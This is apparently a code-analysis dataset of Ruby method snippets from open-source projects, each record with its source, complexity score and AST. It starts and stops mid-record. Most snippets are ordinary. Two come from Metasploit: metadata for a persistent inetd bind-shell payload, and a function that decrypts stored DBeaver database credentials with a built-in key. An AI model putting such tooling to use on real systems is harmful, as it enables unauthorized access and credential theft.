'Description' => 'Listen for a connection and spawn a command shell (persistent)',\n 'Author' => 'hdm',\n 'License' => MSF_LICENSE,\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Handler' => Msf::Handler::BindTcp,\n 'Session' => Msf::Sessions::CommandShell,\n 'PayloadType' => 'cmd',\n 'Privileged' => true,\n 'RequiredCmd' => 'inetd',\n 'Payload' => {\n 'Offsets' => {},\n 'Payload' => ''\n }\n )\n )\n register_advanced_options(\n [\n OptString.new('InetdPath', [true, 'The path to the inetd executable', 'inetd']),\n OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])\n ]\n )\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix Command Shell, Bind TCP (inetd)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listen for a connection and spawn a command shell (persistent)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"inetd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"InetdPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the inetd executable\"]},{\"type\":\"str\",\"children\":[\"inetd\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ShellPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the shell to execute\"]},{\"type\":\"str\",\"children\":[\"/bin/sh\"]}]}]}]}]}]}]}","id":"11907af8-0747-43e3-b554-646bd9e943ce"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/dbeaver.rb","start_line":23,"raw_source":"def decrypt_dbeaver_credentials(credentials_config_data)\n aes = OpenSSL::Cipher.new('AES-128-CBC')\n begin\n aes.decrypt\n aes.key = AES_KEY\n plaintext = aes.update(credentials_config_data)\n plaintext << aes.final\n rescue OpenSSL::Cipher::CipherError => e\n raise Error::DecryptionError, 'Unable to decrypt dbeaver credentials'\n end\n return plaintext[plaintext.index('{\"')..]\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_dbeaver_credentials\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credentials_config_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"AES-128-CBC\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"decrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"key=\",{\"type\":\"const\",\"children\":[null,\"AES_KEY\"]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"credentials_config_data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"final\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"CipherError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Error\"]},\"DecryptionError\"]},{\"type\":\"str\",\"children\":[\"Unable to decrypt dbeaver credentials\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"index\",{\"type\":\"str\",\"children\":[\"{\\\"\"]}]},null]}]}]}]}]}","id":"d399bb64-43b5-4fe9-9fec-3ecb4796655c"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_deserialize.rb","start_line":43,"raw_source":"def check_oj\n check_methods :Oj, :object_load # Always unsafe, regardless of mode\n\n unsafe_mode = :object\n safe_default = oj_safe_default?\n\n tracker.find_call(:target => :Oj, :method => :load).each do |result|\n call = result[:call]\n options = call.second_arg\n\n if options and hash? options and mode = hash_access(options, :mode)\n if symbol? mode and mode.value == unsafe_mode\n check_deserialize result, :Oj\n end\n elsif not safe_default\n check_deserialize result, :Oj\n end\n end\n end","complexity_score":33.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_oj\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_methods\",{\"type\":\"sym\",\"children\":[\"Oj\"]},{\"type\":\"sym\",\"children\":[\"object_load\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unsafe_mode\",{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"lvasgn\",\"children\":[\"safe_default\",{\"type\":\"send\",\"children\":[null,\"oj_safe_default?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"Oj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"load\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"second_arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[null,\"hash?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mode\",{\"type\":\"send\",\"children\":[null,\"hash_access\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"mode\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"symbol?\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"unsafe_mode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_deserialize\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"sym\",\"children\":[\"Oj\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_default\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"check_deserialize\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"sym\",\"children\":[\"Oj\"]}]},null]}]}]}]}]}]}","id":"516f9ad9-0ef6-4724-aa92-1ce49ac4b53c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/auth_helper.rb","start_line":129,"raw_source":"def form_enabled_for_sign_in?(provider)\n return true unless provider.to_s.match?(LDAP_PROVIDER)\n\n ldap_sign_in_enabled?\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"form_enabled_for_sign_in?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"to_s\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"LDAP_PROVIDER\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"ldap_sign_in_enabled?\"]}]}]}","id":"2ce86c88-5070-4c8f-ad2d-bda6481f12f5"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/mailers/notification_mailer.rb","start_line":60,"raw_source":"def follow_request\n locale_for_account(@me) do\n mail subject: default_i18n_subject(name: @account.acct)\n end\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"follow_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locale_for_account\",{\"type\":\"ivar\",\"children\":[\"@me\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"default_i18n_subject\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"acct\"]}]}]}]}]}]}]}]}]}","id":"d5d67c13-4feb-4f37-8bef-c3236785918c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/processor.rb","start_line":65,"raw_source":"def start\n @thread ||= safe_thread(\"#{config.name}/processor\", &method(:run))\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@thread\"]},{\"type\":\"send\",\"children\":[null,\"safe_thread\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/processor\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"run\"]}]}]}]}]}]}","id":"1bcf1d56-d9f2-4ce6-83e1-3021a860b3cf"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/sort_helper.rb","start_line":322,"raw_source":"def sort_header_tag(column, allowed_params: nil, **)\n with_sort_header_options(column, with_title: true, allowed_params:, **) do |col, cap, default_order, **opts|\n sort_link(col, cap, default_order, **opts)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_header_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"kwoptarg\",\"children\":[\"allowed_params\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_sort_header_options\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_title\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_params\"]},{\"type\":\"lvar\",\"children\":[\"allowed_params\"]}]},{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]},{\"type\":\"arg\",\"children\":[\"cap\"]},{\"type\":\"arg\",\"children\":[\"default_order\"]},{\"type\":\"kwrestarg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"sort_link\",{\"type\":\"lvar\",\"children\":[\"col\"]},{\"type\":\"lvar\",\"children\":[\"cap\"]},{\"type\":\"lvar\",\"children\":[\"default_order\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}]}","id":"14aa31fc-93e1-468a-941c-9de69b17afe4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/kubernetes_helpers.rb","start_line":120,"raw_source":"def stub_kubeclient_pod_details(pod, namespace, status: nil)\n stub_kubeclient_discover(service.api_url)\n\n pod_url = service.api_url + \"/api/v1/namespaces/#{namespace}/pods/#{pod}\"\n response = { status: status } if status\n\n WebMock.stub_request(:get, pod_url).to_return(response || kube_pod_response)\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_kubeclient_pod_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pod\"]},{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_kubeclient_discover\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"api_url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pod_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"api_url\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/api/v1/namespaces/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"str\",\"children\":[\"/pods/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"pod_url\"]}]},\"to_return\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[null,\"kube_pod_response\"]}]}]}]}]}","id":"4c9825bf-d0e5-40e6-878c-ad5d08a4349e"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/linear/callbacks_controller.rb","start_line":62,"raw_source":"def linear_redirect_uri\n \"#{ENV.fetch('FRONTEND_URL', nil)}/app/accounts/#{account.id}/settings/integrations/linear\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"linear_redirect_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"FRONTEND_URL\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\"/app/accounts/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/settings/integrations/linear\"]}]}]}","id":"f80e4b44-af05-4f63-9890-2d32960ae1b7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/emails_helper.rb","start_line":28,"raw_source":"def action_title(url)\n return unless url\n\n %w[merge_requests issues work_items commit wikis].each do |action|\n return \"View #{action.humanize.singularize}\" if url.split(\"/\").include?(action)\n end\n\n nil\n end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"action_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"merge_requests\"]},{\"type\":\"str\",\"children\":[\"issues\"]},{\"type\":\"str\",\"children\":[\"work_items\"]},{\"type\":\"str\",\"children\":[\"commit\"]},{\"type\":\"str\",\"children\":[\"wikis\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"View \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"humanize\"]},\"singularize\"]}]}]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"7365becd-0f04-4a19-afa5-b379ae971efd"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/base_errors_component.rb","start_line":35,"raw_source":"def initialize(object, keys: %w[base], **system_arguments)\n super\n\n @errors = object.errors\n @keys = keys\n @system_arguments = system_arguments\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"kwoptarg\",\"children\":[\"keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"base\"]}]}]},{\"type\":\"kwrestarg\",\"children\":[\"system_arguments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"errors\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@keys\",{\"type\":\"lvar\",\"children\":[\"keys\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@system_arguments\",{\"type\":\"lvar\",\"children\":[\"system_arguments\"]}]}]}]}","id":"f049bc55-744d-4ccd-b078-f82a76db5c66"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":322,"raw_source":"def build_full_uri(path, env)\n \"#{env['rack.url_scheme']}://#{env['SERVER_NAME']}:#{env['SERVER_PORT']}#{path}\"\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_full_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.url_scheme\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SERVER_NAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SERVER_PORT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"b5157af3-b4e0-4357-8db7-3f2069e2b672"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":444,"raw_source":"def classification\n return nil unless forwarded_rest_arg || forwarded_kwrest_arg || forwarded_block_arg\n\n if ruby_32_only_anonymous_forwarding?\n :all_anonymous\n elsif can_forward_all?\n :all\n else\n :rest_or_kwrest\n end\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"classification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forwarded_rest_arg\"]},{\"type\":\"send\",\"children\":[null,\"forwarded_kwrest_arg\"]}]},{\"type\":\"send\",\"children\":[null,\"forwarded_block_arg\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ruby_32_only_anonymous_forwarding?\"]},{\"type\":\"sym\",\"children\":[\"all_anonymous\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_forward_all?\"]},{\"type\":\"sym\",\"children\":[\"all\"]},{\"type\":\"sym\",\"children\":[\"rest_or_kwrest\"]}]}]}]}]}","id":"57ffca17-5c07-4775-945a-b0694a1e1eaa"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test/input_test.rb","start_line":168,"raw_source":"def emit_stream(tag, es)\n @event_streams << es\n @emit_streams << [tag, es.to_a]\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"emit_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event_streams\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"es\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@emit_streams\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"to_a\"]}]}]}]}]}","id":"de70b7d3-c6c3-4d3d-b458-2cf8ed19b716"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapter_test.rb","start_line":84,"raw_source":"def test_data_source_exists?\n assert @connection.data_source_exists?(\"accounts\")\n assert @connection.data_source_exists?(:accounts)\n assert_not @connection.data_source_exists?(\"nonexistingtable\")\n assert_not @connection.data_source_exists?(\"'\")\n assert_not @connection.data_source_exists?(nil)\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_data_source_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"data_source_exists?\",{\"type\":\"str\",\"children\":[\"accounts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"data_source_exists?\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"data_source_exists?\",{\"type\":\"str\",\"children\":[\"nonexistingtable\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"data_source_exists?\",{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"data_source_exists?\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"3a303165-1017-4837-b153-0378634e7211"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/has_status.rb","start_line":158,"raw_source":"def incomplete?\n COMPLETED_STATUSES.exclude?(status)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"incomplete?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMPLETED_STATUSES\"]},\"exclude?\",{\"type\":\"send\",\"children\":[null,\"status\"]}]}]}","id":"2c462d08-e315-4560-b9e0-04578b1af967"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/has_custom_fields.rb","start_line":61,"raw_source":"def deserialize(key, value, return_array)\n return value unless type = self.type\n\n array = nil\n\n if array_type?\n type = type[0]\n array = true if return_array\n end\n\n result =\n case type\n when :boolean\n !!Helpers::CUSTOM_FIELD_TRUE.include?(value)\n when :integer\n value.to_i\n when :json\n parse_json_value(value, key)\n else\n value\n end\n\n array ? [result] : result\n end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"deserialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"return_array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"type\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"array\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"array_type?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_array\"]},{\"type\":\"lvasgn\",\"children\":[\"array\",{\"type\":\"true\",\"children\":[]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\"